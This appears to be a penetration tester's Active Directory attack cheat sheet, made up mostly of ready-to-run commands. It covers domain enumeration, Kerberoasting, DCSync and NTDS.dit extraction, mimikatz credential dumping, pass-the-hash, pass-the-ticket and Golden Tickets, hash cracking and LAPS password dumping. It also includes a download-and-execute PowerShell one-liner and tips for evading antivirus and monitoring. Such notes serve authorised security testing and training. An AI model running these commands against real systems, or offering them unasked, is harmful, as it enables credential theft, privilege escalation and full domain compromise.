# Use a userlistwget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
# AD Username Brute-Forcekerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>
Find High Value Users
# via SMBnxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"# via LDAP# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count
BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.
Pre-Requisites
# Start and reset password for BloodHound via Dockerbloodhound-cli check
bloodhound-cli up
bloodhound-cli resetpwd
Collecting Info
# Bloodhound/SharpHound - AD Mappingpowershell -ep bypass
Import-Module .\Downloads\SharpHound.ps1
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN>
# - OR# SharpHound.exe alternative.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>
Uploading Info
Transfer Bloodhound data to attacker
Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest
Analysis and Queries
# Search Box >domain:<DOMAIN>
### Pre-Built Queries# Domain Info > Analysis ># Out-of-date Computers (for Exploits)Find Computers with Unsupported Operating Systems
# Find Logged-In/Cached Domain AdminsFind Computers where Domain Users are Local Admin
# Look for module (typically only on DC and some servers)Get-Module -ListAvailable ActiveDirectory
# Import AD ModuleImport-Module ActiveDirectory
# Basic domain info# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addomain?view=windowsserver2022-psGet-ADDomain
# Search for Kerberoastable accounts (requires Domain user)# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-psGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Verify domain trust relationships# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-psGet-ADTrust -Filter *
# Group Enumeration# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-psGet-ADGroup -Filter * | select name
Get-ADGroup -Identity "<GROUP_NAME>"# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember?view=windowsserver2022-psGet-ADGroupMember -Identity "<GROUP_NAME>"
# Basic Host Infowmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
# Basic Domain Infowmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress
# Security Patcheswmic qfe get Caption,Description,HotFixID,InstalledOn
# Process Listwmic process list /format:list
# Domain and DC Infowmic ntdomain list /format:list
# Users on the Domainwmic useraccount list /format:list
# Local Groups Infowmic group list /format:list
# System Accounts Infowmic sysaccount list /format:list
net Version
These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.
# Information about password requirementsnet accounts
# Password and lockout policynet accounts /domain
# Information about domain groupsnet group /domain
# List users with domain admin privilegesnet group "Domain Admins" /domain
# List of PCs connected to the domainnet group "Domain Computers" /domain
# List PC accounts of domains controllersnet group "Domain Controllers" /domain
# User that belongs to the groupnet group <DOMAIN_GROUP> /domain
# List of domain groupsnet groups /domain
# All available groupsnet localgroup
# List users that belong to the administrators group inside the domainnet localgroup administrators /domain
# Information about a group (admins)net localgroup Administrators
# Add user to administratorsnet localgroup administrators <USER> /add
# Check current sharesnet share
# Get information about a user within the domainnet user /domain <USER>
# List all users of the domainnet user /domain
# Information about the current usernet user %username%
# Mount the share locallynet use Z: \\<TARGET>\<SHARE>
# Get a list of computersnet view
# Shares on the domainsnet view /all /domain[:<DOMAIN>]# List shares of a computernet view \\<TARGET> /ALL
# List of PCs of the domainnet view /domain
Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.
# Query all users or computersdsquery user
dsquery computer
# Query filter for all users in a Domaindsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"# Users With Specific Attributes Set (PASSWD_NOTREQD)# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be setdsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
# Search DCs in Current Domaindsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
# Search disabled accountsdsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
# Get Current PS Execution PolicyGet-ExecutionPolicy -List
# OverrideSet-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTPpowershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"
ForceChangePassword abused with Set-DomainUserPassword
Add Members abused with Add-DomainGroupMember
GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember
GenericWrite abused with Set-DomainObject
WriteOwner abused with Set-DomainObjectOwner
WriteDACL abused with Add-DomainObjectACL
AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember
AddSelf abused with Add-DomainGroupMember
Top ACL Attacks
ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
AddSelf - shows security groups that a user can add themselves to.
GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
Domain Misconfigurations
DNS Record Enumeration (adidnsdump)
Resolves hidden records in the DNS zone that standard enumeration misses.
# Dump all DNS records (Authenticated)adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>
# Resolve unknown records (A Query)adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r
User Attributes Mining
Hunting for passwords in descriptions and weak account configurations.
Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless.
One must have 1 of the following:
an account’s cleartext password or NTLM hash
a shell in the context of a domain user account (Kerberos ticket)
# Show Kerberoastable info.\Rubeus.exe kerberoast /stats
# Show Kerberoastable admins.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
# Kerberoast User# NOTE: /tgtdeleg attempts to force RC4 enc.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>
NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account
# Get TGS for UserGet-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGSGet-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>
via Manual Method
# REQUIRED: declare new typeAdd-Type -AssemblyName System.IdentityModel
# Request and load all TGS for all SPNs into memory# NOTE: these will need to be dumped from memorysetspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim()}# Dump TGS from memory.\mimikatz.exe
base64 /out:true
kerberos::list /export
# Format Base64 TGSecho '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt
# Linux Alternative (Kerbrute)# Brute-force users AND auto-check for AS-REP Roastingkerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>
DCSync
Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.
REQUIRES: DS-Replication-Get-Changes or DS-Replication-Get-Changes-All Permission
# Copy NTDS.dit# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEMvssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Download it and impacket-secretsdumpimpacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easiernetexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil
Escalating and Pivoting
Pass the Key (PtK) / OverPass the Hash (OtH)
Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Option B: Rubeus (Request & Inject)
# Requests a TGT from the KDC and immediately injects it (/ptt)# Can use /rc4 (NTLM), /aes128, or /aes256.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>
Pass the Ticket (PtT)
Windows
Mimikatz
# 1. Export tickets from memory to .kirbi files.\mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
# $ : machine tickets (computers)# @ : service tickets (users)# 2. Inject Ticket.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>""misc::cmd" exit
Rubeus
# Enumerate tickets currently in session.\Rubeus.exe triage
# Export tickets to base64 (for copy-paste).\Rubeus.exe dump /nowrap
# Pass from File.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"# Pass from Base64 String.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"# Convert File to Base64 (PowerShell Helper)[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket =[Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", "".\Rubeus.exe ptt /ticket:$ticket
klist
# Backup current keytabcp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytabexport KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmdrealm list
# Check for ADgrep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"env | grep -i krb5
# Find keytabssudo find / \( -iname '*keytab*' -o -iname '*.kt'\) -ls 2>/dev/null
# List cached Kerberos ticketsklist
# Backup current keytabcp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytabexport KRB5CCNAME=$(pwd)/current.kt.bak
# Extract hashes from keytab files# https://github.com/sosdave/KeyTabExtractpython3 keytabextract.py <KEYTAB_FILE>
# Use keytab# NOTE: not all cached keytabs are validls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak
# Show keytabsklist
# Use keytabkinit -k '<NAME>'smbclient //<TARGET>/C$ -k -no-pass -c 'ls'
Double Hop Problem
There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.
Enumeration of the Problem
Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.
Command
Output Indicator
Meaning
klist
Missing krbtgt/DOMAIN
You have no TGT. You cannot request tickets for other servers.
klist
Present HTTP/Hostname
You only have a service ticket for the current box.
mimikatz
Password : (null)
LSASS has no cached credentials for your session.
dir \\DC01\C$
Access is denied / Anonymous Logon
The target sees you as “Anonymous” because no creds were forwarded.
Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.
# 1. Register the Session (On Jump Box)Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force
# 2. Connect to it (From Attack/Start Box)Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"# 3. Verifyklist # You should now see the krbtgt ticket
Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.
# 1. Inject a TGT using the hash (or AES key).\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt
# 2. Verifyklist # You now have a krbtgt ticket# 3. Pivotls \\<DC_NAME>\C$ # Works natively now
Method 4: Mimikatz PtH (Legacy / Risky in WinRM)
Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.
# /run:powershell might hang WinRM depending on the shell stability.# Use Rubeus (Method 3) if possible.mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit
Create Fake SPN
Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.
See more about… Change User Password via PowerView
These modules live inside LSASS to handle specific tasks.
DLL Name
Function / Description
Lsasrv.dll
The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dll
Local / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dll
Domain. Handles Kerberos ticket requests and validation.
Samsrv.dll
SAM Interface. Talks to the local SAM database.
Netlogon.dll
Network. Handles the secure channel for network logons.
Ntdsa.dll
AD Interface. Used to create/manage records in the Registry or AD.
3. Credential Storage Locations
Local Users (SAM)
File Path:%SystemRoot%\system32\config\SAM
Registry Mount:HKLM\SAM
Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
Content: Local user NTLM/LM hashes.
Registry Hive
Description
HKLM\SAM
Contains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEM
Stores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITY
Contains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.
Domain Users (NTDS)
File Path:%SystemRoot%\ntds.dit
Location: Found only on Domain Controllers.
Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
Sync: Replicates to all DCs (except Read-Only DCs).
Credential Manager (The Vault)
Role: Stores saved passwords for RDP, Websites, and Network Shares.
# Give JtR and hashcat --format codehashid -jm '<HASH>'# Create wordlist from website# e.g. make all words lowercase, spider down the website X, and choose only word certain legth Y or morecewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>
Username Generation
# GOOGLE DORK: Find emails and user name schemesite:<DOMAIN> "@<DOMAIN>"# Generate different common permutations of usernamesgit clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy -i <USERNAMES>
# Manually generate keywords or use cewl via OSINTcat << EOF > keywords.txt
<KEYWORDS>
EOF# c - Capitalize the first character, lowercase the rest# C - Lowercase the first character, uppercase the rest# t - Toggle the case of all characters in a word# $! - Appends the character ! to the end # $1$9$9$8 - Appends '1998' to the end# $1$9$9$8$! - Appends '1998!' to the end# sa@ - Replace all instances of a with @# so0 - Replace all instances of o with 0# ss$ - Replace all instances of s with $cat << EOF > custom.rule
c
C
t \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF# Generate permutated wordlisthashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt
# Crack hashhashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt
# John attempts to guess the hash type, but specifiying the FORMAT is recommendedjohn --list=formats
# john --format=NT# john --format=raw-md5# john --format=sha512cryptjohn --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>
# Single crack mode: makes permutations given a usernameunshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>
# Dynamically generated wordlist using Markov chainsjohn --incremental <HASH_FILE>
Deep Crack. Good for standard “complex” user passwords.
dive.rule
~100,000+
Paranoid. extremely slow; last resort for dictionary attacks.
# Crack an MD5crypt hash with a salt using Hashcathashcat -m 20 <HASH>:<SALT> <WORDLIST>
# Crack a SHA512crypt hash using Hashcathashcat -m 1800 hashes.txt <WORDLIST>
# 64 standard password modifications like: appending nums or substituting characters with their "leet" equivalents hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>
Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.
Important Notes
Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
Administrator Required: Mimikatz typically needs administrator privileges to function
LSASS Access: Many operations read from LSASS memory, which is protected by Windows
Detection: Mimikatz is heavily flagged by security products and EDR solutions
Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
Ticket Files: Exported Kerberos tickets use .kirbi format
Domain Syntax: Use “.” for domain when targeting local machine accounts
Basic Usage & Privilege Escalation
# Launch Mimikatz (via SMB share)\\tsclient\share\mimikatz.exe
# Enable debug privilege (required for most operations)privilege::debug
# Elevate token to SYSTEMtoken::elevate
# Write to console in bae64 (avoid AV flagging)base64 /out:true
Credential Dumping
LSASS Memory (sekurlsa)
Dump All Credentials:
# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)sekurlsa::logonpasswords
Dump Specific Hash Types:
# Dumps only LM/NTLM hashessekurlsa::msv
Export Kerberos Tickets:
# Avoid AV flaggingbase64 /out:true
# Export Kerberos Tickets (TGT/TGS) to disksekurlsa::tickets /export
# $ : machine tickets (computers)# @ : service tickets (users)
Extract AES Keys:
# Extract AES Keys for Pass the Key attacks.\mimikatz.exe "privilege::debug""sekurlsa::ekeys" exit
SAM Database
# Dumps local SAM database (local user hashes)lsadump::sam
Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Pass the Ticket (PtT)
Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.
Export Tickets:
# Export tickets from memory to .kirbi files.\mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
Inject Ticket:
# Inject ticket into current session.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>""misc::cmd" exit
Golden Ticket Attack
A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.
Step 1: Get KRBTGT Hash & SID
Method A (On DC):
lsadump::lsa /inject /name:krbtgt
Method B (Remote DCSync):
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
Step 2: Create & Inject Ticket
# /ptt immediately injects it into memory. /id:500 makes you fake-admin.kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt
Step 3: Launch Shell
# Launch shell (Optional, or just use current shell if /ptt was used)misc::cmd
Credential Manager
Dump credentials stored in Windows Credential Manager:
# Enable Registry Key to PtH for non-RID-500 local adminsreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Mimikatz (Interactive)
# Use "." for domain if targeting local machine# IMPORTANT: Run commands inside the NEW window that pops upmimikatz.exe "privilege::debug""sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit
psexec creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.
wmiexec utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.
If using BloodHound check for ReadLAPSPassword in graph.
# Enumerate who can read LAPSnxc smb <DC_IP> -u <USER> -p <PASS> --laps
# Dump the passwords (if able)nxc smb <TARGET> -u <USER> -p <PASS> --laps
---
# OUT OF DATE# https://github.com/leoloobeek/LAPSToolkitwget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1
Import-Module LAPSToolkit.ps1
# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OUFind-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwordsFind-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dumpGet-LAPSComputers